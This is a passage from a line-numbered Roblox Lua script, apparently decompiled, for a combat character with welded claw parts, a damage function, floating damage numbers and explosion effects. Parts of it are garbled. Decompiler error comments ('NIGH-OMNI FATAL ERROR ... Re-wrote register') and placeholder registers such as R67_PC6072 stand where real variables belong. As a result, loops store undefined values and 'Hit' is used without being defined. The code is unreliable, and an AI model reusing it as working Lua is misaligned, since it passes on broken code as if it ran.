  843. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  844. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  845. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  846. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  847. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  848. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  849. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  850. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  851. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  852. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  853. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  854. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  855. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  856. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  857. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  858. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  859. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  860. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  861. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  862. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  863. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  864. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  865. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  866. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  867. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  868. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  869. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  870. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  871. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  872. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  873. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  874. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  875. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  876. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  877. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  878. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  879. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  880. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  881. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  882. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  883. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  884. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  885. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  886. local CBlade = {}
  887. local CBladeWelds = {}
  888. for _,c in pairs(m:children()) do
  889. if c.className == "Part" then
  890. table.insert(CBlade, R67_PC6072)
  891. end
  892. end
  893. for _,c in pairs(m:children()) do
  894. if c.className == "Weld" then
  895. table.insert(CBladeWelds, R67_PC6072)
  896. print(R66_PC6093)
  897. end
  898. end
  899. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  900.  
  901. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  902.  
  903. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  904. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  905.  
  906. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  907.  
  908. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  909. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  910. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  911. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  912. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  913. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  914. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  915. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  916. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  917. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  918. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  919. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  920. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  921. local DBlade = {}
  922. local DBladeWelds = {}
  923. for _,c in pairs(demon:children()) do
  924. if c.className == "Part" then
  925. table.insert(DBlade, c)
  926. end
  927. end
  928. for _,c in pairs(demon:children()) do
  929. if c.className == "Weld" then
  930. table.insert(DBladeWelds, c)
  931. print(c)
  932. end
  933. end
  934. demon.Parent = nil
  935.  
  936. paly = game.Players.LocalPlayer
  937. char = paly.Character
  938. torso = char.Torso
  939. neck = char.Torso.Neck
  940. hum = char.Humanoid
  941. Player = game:GetService("Players").LocalPlayer
  942. local mouse = Player:GetMouse()
  943. Character = Player.Character
  944. tors = Character.Torso
  945. lleg = Character["Left Leg"]
  946. root = Character.HumanoidRootPart
  947. hed = Character.Head
  948. rleg = Character["Right Leg"]
  949. rarm = Character["Right Arm"]
  950. larm = Character["Left Arm"]
  951. local Effects = {}
  952. attack = false
  953. vt = Vector3.new
  954. bc = BrickColor.new
  955. br = BrickColor.random
  956. it = Instance.new
  957. cf = CFrame.new
  958. euler = CFrame.fromEulerAnglesXYZ
  959. angles = CFrame.Angles
  960. matr = math.random
  961. local basiccooldown = math.huge
  962. local ultcooldown = math.huge
  963. local secondcooldown = math.huge
  964. local thirdcooldown = math.huge
  965.  
  966. local boll = Instance.new("Part",game.Lighting)
  967. boll.Transparency = 0.5
  968. boll.Material = "Neon"
  969. boll.BrickColor = tors.BrickColor
  970. boll.Anchored = true
  971. boll.Size = vt(1,1,1)
  972. boll.Shape = "Ball"
  973. boll.CanCollide = false
  974.  
  975. local shur = Instance.new("Part",game.Lighting)
  976. shur.Transparency = 0
  977. shur.Material = "Neon"
  978. shur.BrickColor = tors.BrickColor
  979. shur.Anchored = true
  980. shur.Size = vt(5,0.2,5)
  981. shur.CanCollide = false
  982. local Meshshur = Instance.new("CylinderMesh",shur)
  983.  
  984.  
  985. local boll = Instance.new("Part",game.Lighting)
  986. boll.Transparency = 0.5
  987. boll.Material = "Neon"
  988. boll.BrickColor = bc("Bright red")
  989. boll.Anchored = true
  990. boll.Size = vt(1,1,1)
  991. boll.Shape = "Ball"
  992. boll.CanCollide = false
  993.  
  994. local shur = Instance.new("Part",game.Lighting)
  995. shur.Transparency = 0
  996. shur.Material = "Neon"
  997. shur.BrickColor = bc("Bright red")
  998. shur.Anchored = true
  999. shur.Size = vt(5,0.2,5)
  1000. shur.CanCollide = false
  1001. local Meshshur = Instance.new("CylinderMesh",shur)
  1002.  
  1003. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1004. if hit.Parent==nil then
  1005. return
  1006. end
  1007. h=hit.Parent:FindFirstChild("Humanoid")
  1008. for _,v in pairs(hit.Parent:children()) do
  1009. if v:IsA("Humanoid") then
  1010. h=v
  1011. end
  1012. end
  1013. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1014. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1015. end
  1016. if hit.Parent.className=="Hat" then
  1017. hit=hit.Parent.Parent:findFirstChild("Head")
  1018. end
  1019. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1020. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1021. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1022. return
  1023. end]]
  1024. -- hs(hit,1.2)
  1025. c=Instance.new("ObjectValue")
  1026. c.Name="creator"
  1027. c.Value=game:service("Players").LocalPlayer
  1028. c.Parent=h
  1029. game:GetService("Debris"):AddItem(c,.5)
  1030. Damage=math.random(minim,maxim)
  1031. -- h:TakeDamage(Damage)
  1032. blocked=false
  1033. block=hit.Parent:findFirstChild("Block")
  1034. if block~=nil then
  1035. print(block.className)
  1036. if block.className=="NumberValue" then
  1037. if block.Value>0 then
  1038. blocked=true
  1039. if decreaseblock==nil then
  1040. block.Value=block.Value-1
  1041. end
  1042. end
  1043. end
  1044. if block.className=="IntValue" then
  1045. if block.Value>0 then
  1046. blocked=true
  1047. if decreaseblock~=nil then
  1048. block.Value=block.Value-1
  1049. end
  1050. end
  1051. end
  1052. end
  1053. if blocked==false then
  1054. -- h:TakeDamage(Damage)
  1055. h.Health=h.Health-Damage
  1056. showDamage(hit.Parent,Damage,1.5,TorsoColor)
  1057. else
  1058. h.Health=h.Health-(Damage/12)
  1059. showDamage(hit.Parent,Damage/12,1.5,BrickColor.new("Bright red"))
  1060. end
  1061. if Type=="Knockdown" then
  1062. hum=hit.Parent.Humanoid
  1063. hum.PlatformStand=true
  1064. coroutine.resume(coroutine.create(function(HHumanoid)
  1065. swait(1)
  1066. HHumanoid.PlatformStand=false
  1067. end),hum)
  1068. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1069. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1070. local bodvol=Instance.new("BodyVelocity")
  1071. bodvol.velocity=angle*knockback
  1072. bodvol.P=5000
  1073. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1074. bodvol.Parent=hit
  1075. rl=Instance.new("BodyAngularVelocity")
  1076. rl.P=3000
  1077. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1078. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1079. rl.Parent=hit
  1080. game:GetService("Debris"):AddItem(bodvol,.5)
  1081. game:GetService("Debris"):AddItem(rl,.5)
  1082. elseif Type=="Normal" then
  1083. vp=Instance.new("BodyVelocity")
  1084. vp.P=500
  1085. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1086. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1087. if KnockbackType==1 then
  1088. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1089. elseif KnockbackType==2 then
  1090. vp.velocity=Property.CFrame.lookVector*knockback
  1091. end
  1092. if knockback>0 then
  1093. vp.Parent=hit.Parent.Torso
  1094. end
  1095. game:GetService("Debris"):AddItem(vp,.5)
  1096. elseif Type=="Up" then
  1097. local bodyVelocity=Instance.new("BodyVelocity")
  1098. bodyVelocity.velocity=vt(0,10,0)
  1099. bodyVelocity.P=1000
  1100. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1101. bodyVelocity.Parent=hit
  1102. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1103. rl=Instance.new("BodyAngularVelocity")
  1104. rl.P=3000
  1105. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1106. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1107. rl.Parent=hit
  1108. game:GetService("Debris"):AddItem(rl,.5)
  1109. elseif Type=="Snare" then
  1110. bp=Instance.new("BodyPosition")
  1111. bp.P=2000
  1112. bp.D=100
  1113. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1114. bp.position=hit.Parent.Torso.Position
  1115. bp.Parent=hit.Parent.Torso
  1116. game:GetService("Debris"):AddItem(bp,1)
  1117. elseif Type=="Target" then
  1118. if Targetting==false then
  1119. ZTarget=hit.Parent.Torso
  1120. coroutine.resume(coroutine.create(function(Part)
  1121. swait(5)
  1122. end),ZTarget)
  1123. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1124. targetgui=Instance.new("BillboardGui")
  1125. targetgui.Parent=ZTarget
  1126. targetgui.Size=UDim2.new(10,100,10,100)
  1127. targ=Instance.new("ImageLabel")
  1128. targ.Parent=targetgui
  1129. targ.BackgroundTransparency=1
  1130. targ.Image="rbxassetid://4834067"
  1131. targ.Size=UDim2.new(1,0,1,0)
  1132. cam.CameraType="Scriptable"
  1133. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1134. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1135. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1136. Targetting=true
  1137. RocketTarget=ZTarget
  1138. for i=1,Property do
  1139. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1140. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1141. swait()
  1142. end
  1143. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1144. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1145. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1146. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1147. end
  1148. Targetting=false
  1149. RocketTarget=nil
  1150. targetgui.Parent=nil
  1151. cam.CameraType="Custom"
  1152. end
  1153. end
  1154. debounce=Instance.new("BoolValue")
  1155. debounce.Name="DebounceHit"
  1156. debounce.Parent=hit.Parent
  1157. debounce.Value=true
  1158. game:GetService("Debris"):AddItem(debounce,Delay)
  1159. c=Instance.new("ObjectValue")
  1160. c.Name="creator"
  1161. c.Value=Player
  1162. c.Parent=h
  1163. game:GetService("Debris"):AddItem(c,.5)
  1164. CRIT=false
  1165. hitDeb=true
  1166. AttackPos=6
  1167. end
  1168. end
  1169.  
  1170. showDamage=function(Char,Dealt,du,Color)
  1171. m=Instance.new("Model")
  1172. m.Name=tostring(Dealt)
  1173. h=Instance.new("Humanoid")
  1174. h.Health=0
  1175. h.MaxHealth=0
  1176. h.Parent=m
  1177. c=Instance.new("Part")
  1178. c.Transparency=0
  1179. c.Material = "Neon"
  1180. c.BrickColor=bc("New Yeller")
  1181. c.Name="Head"
  1182. c.TopSurface=0
  1183. c.BottomSurface=0
  1184. local tick = Instance.new("Sound",c)
  1185. tick.SoundId = "rbxassetid://12221976"
  1186. tick.Volume = 5
  1187. tick.Pitch = 4
  1188. tick:Play()
  1189. c.formFactor="Plate"
  1190. c.Size=Vector3.new(1,.4,1)
  1191. ms=Instance.new("CylinderMesh")
  1192. ms.Scale=Vector3.new(.8,.8,.8)
  1193. if CRIT==true then
  1194. ms.Scale=Vector3.new(1,1.25,1)
  1195. end
  1196. ms.Parent=c
  1197. c.Reflectance=0
  1198. Instance.new("BodyGyro").Parent=c
  1199. c.Parent=m
  1200. if Char:findFirstChild("Head")~=nil then
  1201. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1202. elseif Char.Parent:findFirstChild("Head")~=nil then
  1203. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1204. end
  1205. f=Instance.new("BodyPosition")
  1206. f.P=2000
  1207. f.D=100
  1208. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1209. f.position=c.Position+Vector3.new(0,3,0)
  1210. f.Parent=c
  1211. game:GetService("Debris"):AddItem(m,.5+du)
  1212. c.CanCollide=false
  1213. m.Parent=workspace
  1214. c.CanCollide=false
  1215. p:Destroy()
  1216. end
  1217.  
  1218. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1219. for _, c in pairs(workspace:children()) do
  1220. local hum = c:findFirstChild("Humanoid")
  1221. if hum ~= nil then
  1222. local head = c:findFirstChild("Torso")
  1223. if head ~= nil then
  1224. local targ = head.Position - Part.Position
  1225. local mag = targ.magnitude
  1226. if mag <= magni and c.Name ~= Player.Name then
  1227. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1228. end
  1229. end
  1230. end
  1231. end
  1232. end
  1233.  
  1234. function Explode(rad,par)
  1235. local expart = Instance.new("Part",script.Parent)
  1236. local expart2 = Instance.new("Part",script.Parent)
  1237. local partMesh = Instance.new("SpecialMesh",expart)
  1238. partMesh.MeshType = "Sphere"
  1239. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1240. partMesh2.MeshType = "Sphere"
  1241. local expld = Instance.new("Explosion", script.Parent)
  1242. local plode = Instance.new("Sound",expart)
  1243. plode.SoundId = "rbxassetid://165970126"
  1244. plode.Volume = 1
  1245. plode.Pitch = 1
  1246. plode.Looped = false
  1247. plode:Play()
  1248. expld.BlastRadius = rad
  1249. expld.Position = par.Position
  1250. partMesh.Scale = vt(rad,rad,rad)
  1251. expart.Size = vt(1,1,1)*1.5
  1252. expart.Transparency = 0
  1253. expart.Anchored = true
  1254. expart.Material = "Neon"
  1255. expart.BrickColor = bc("Bright red")
  1256. expart.CFrame = par.CFrame
  1257. partMesh2.Scale = vt(rad,rad,rad)
  1258. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1259. expart2.Transparency = 0.5
  1260. expart2.Anchored = true
  1261. expart2.Material = "Neon"
  1262. expart2.BrickColor = bc("New Yeller")
  1263. expart2.CFrame = par.CFrame
  1264. local value = 1*rad/6.5
  1265. par:Destroy()
  1266. for i = 0, 100 do
  1267. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1268. expart.CFrame = expart.CFrame
  1269. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1270. expart2.CFrame = expart.CFrame
  1271. value = value - 0.035*rad/6.5
  1272. if value < 1 then
  1273. value = 0.25
  1274. expart.Transparency = expart.Transparency + 0.025
  1275. expart2.Transparency = expart2.Transparency + 0.025
  1276. end
  1277. wait()
  1278. end
  1279. plode.Parent = nil
  1280. expart.Parent = nil
  1281. expart2.Parent = nil
  1282. expld.Parent = nil
  1283. end
  1284.  
  1285. function ExplodeMass(rad,par)
  1286. local expart = Instance.new("Part",script.Parent)
  1287. local expart2 = Instance.new("Part",script.Parent)
  1288. local partMesh = Instance.new("SpecialMesh",expart)
  1289. partMesh.MeshType = "Sphere"
  1290. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1291. partMesh2.MeshType = "Sphere"
  1292. local expld = Instance.new("Explosion", script.Parent)
  1293. local plode = Instance.new("Sound",workspace)
  1294. plode.SoundId = "rbxassetid://579687077"
  1295. plode.Volume = 1
  1296. plode.Pitch = 0.85
  1297. plode.Looped = false
  1298. plode:Play()
  1299. local plodez = Instance.new("Sound",workspace)
  1300. plodez.SoundId = "rbxassetid://288641686"
  1301. plodez.Volume = 1
  1302. plodez.Pitch = 0.75
  1303. plodez.Looped = false
  1304. plodez:Play()
  1305. local plodeza = Instance.new("Sound",workspace)
  1306. plodeza.SoundId = "rbxassetid://197161452"
  1307. plodeza.Volume = 0.85
  1308. plodeza.Pitch = 0.65
  1309. plodeza.Looped = false
  1310. plodeza:Play()
  1311. local plodezar = Instance.new("Sound",workspace)
  1312. plodezar.SoundId = "rbxassetid://197161452"
  1313. plodezar.Volume = 0.85
  1314. plodezar.Pitch = 0.25
  1315. plodezar.Looped = false
  1316. plodezar:Play()
  1317. expld.BlastRadius = rad
  1318. expld.Position = par.Position
  1319. wait(0.5)
  1320. par:Destroy()
  1321. plode.Parent = nil
  1322. expart.Parent = nil
  1323. expart2.Parent = nil
  1324. expld.Parent = nil
  1325. end
  1326. function ExplodeMassen(rad,par)
  1327. local expart = Instance.new("Part",script.Parent)
  1328. local expart2 = Instance.new("Part",script.Parent)
  1329. local partMesh = Instance.new("SpecialMesh",expart)
  1330. partMesh.MeshType = "Sphere"
  1331. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1332. partMesh2.MeshType = "Sphere"
  1333. local expld = Instance.new("Explosion", script.Parent)
  1334. local plode = Instance.new("Sound",workspace)
  1335. plode.SoundId = "rbxassetid://579687077"
  1336. plode.Volume = 1
  1337. plode.Pitch = 0.85
  1338. plode.Looped = false
  1339. plode:Play()
  1340. local plodez = Instance.new("Sound",workspace)
